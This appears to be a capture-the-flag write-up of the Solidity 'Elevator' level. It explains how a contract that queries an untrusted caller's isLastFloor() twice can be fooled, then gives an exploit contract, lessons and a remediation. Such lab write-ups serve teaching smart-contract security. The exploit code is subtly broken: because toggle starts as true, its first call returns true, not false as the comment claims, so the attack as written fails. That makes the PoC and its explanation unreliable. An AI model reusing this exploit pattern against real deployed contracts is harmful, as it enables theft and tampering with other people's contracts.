🛗 Elevator - The Infinite Floor

Challenge Overview

The objective of this level is to make the elevator reach the top floor of the building.

The Catch: The Elevator contract checks if the requested floor is the last floor by calling an external contract’s isLastFloor() function. It requires that the floor is not the last floor initially, but then sets top to true if it is the last floor!

Technical Analysis

Vulnerability: Untrusted External Contract State Reliance

The Elevator contract uses an interface Building and depends on it to determine floor states:

1
interface Building {
2
    function isLastFloor(uint256) external returns (bool);
3
}
4

5
contract Elevator {
6
    bool public top;
7
    uint256 public floor;
8

9
    function goTo(uint256 _floor) public {
10
        Building building = Building(msg.sender);
11

12
        if (!building.isLastFloor(_floor)) {
13
            floor = _floor;
14
            top = building.isLastFloor(floor);
15
        }
16
    }
17
}

The Root Cause

This is an architectural flaw where a contract relies on an external, untrusted contract to return consistent state values:

1. No Constant Guarantee: The isLastFloor function in Building interface is not marked as view or pure. This means it can modify state or return different values across consecutive invocations in the same transaction.
2. Double Querying: The goTo() function queries isLastFloor() twice:
   • First check: if (!building.isLastFloor(_floor)) - wants false to enter the conditional block.
   • Second execution: top = building.isLastFloor(floor) - wants true to set top = true.
3. Attacker Control: Since Building is instantiated using msg.sender, we can deploy a malicious contract implementing the Building interface that returns false on the first call and true on the second call.

The Exploit: The Multi-Step Solution

1. Deploy an Attack Contract: Deploy a contract that implements the Building interface.
2. Implement Toggle Logic: Use a state variable (e.g., a boolean flag isCalled) to track whether the function has been called.
   • First call: set isCalled = true and return false.
   • Second call: return true.
3. Trigger the Ride: Call goTo() on the target Elevator contract from our attacker contract.

Proof of Concept (PoC)

Below is the Solidity exploit contract:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
interface IElevator {
5
    function goTo(uint256 _floor) external;
6
}
7

8
contract BuildingExploit {
9
    IElevator public immutable target;
10
    bool public toggle = true;
11

12
    constructor(address _target) {
13
        target = IElevator(_target);
14
    }
15

16
    function attack() external {
17
        target.goTo(10);
18
    }
19

20
    // Implementing the Building interface
21
    function isLastFloor(uint256) external returns (bool) {
22
        // Toggle returns: 1st call -> false, 2nd call -> true
23
        toggle = !toggle;
24
        return !toggle;
25
    }
26
}

Deploy this contract using Remix, passing the Elevator instance address, and call attack().

Auditor’s Lessons

1. Never Trust External State Queries: External contracts are completely untrusted. Avoid making logical control flow decisions based on consecutive results returned from external non-view functions.
2. Enforce Interface View Modifiers: If your contract must rely on external interface queries, ensure those queries are explicitly marked as view or pure in the interface definition. This warns the compiler that the function should not modify state, though an attacker can still implement read-only state changes (e.g., reading gasleft() or increasing block numbers).
3. Internal State Validation: Keep state logic internal to your own contract rather than delegating it to user-controlled addresses.

Remediation

Store the building configuration internally or restrict who can implement the Building registry:

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract SecureElevator {
5
    bool public top;
6
    uint256 public floor;
7
    uint256 public constant LAST_FLOOR = 100;
8

9
    // Securely determine the top floor internally
10
    function goTo(uint256 _floor) external {
11
        require(_floor <= LAST_FLOOR, "Floor does not exist");
12

13
        floor = _floor;
14
        if (floor == LAST_FLOOR) {
15
            top = true;
16
        } else {
17
            top = false;
18
        }
19
    }
20
}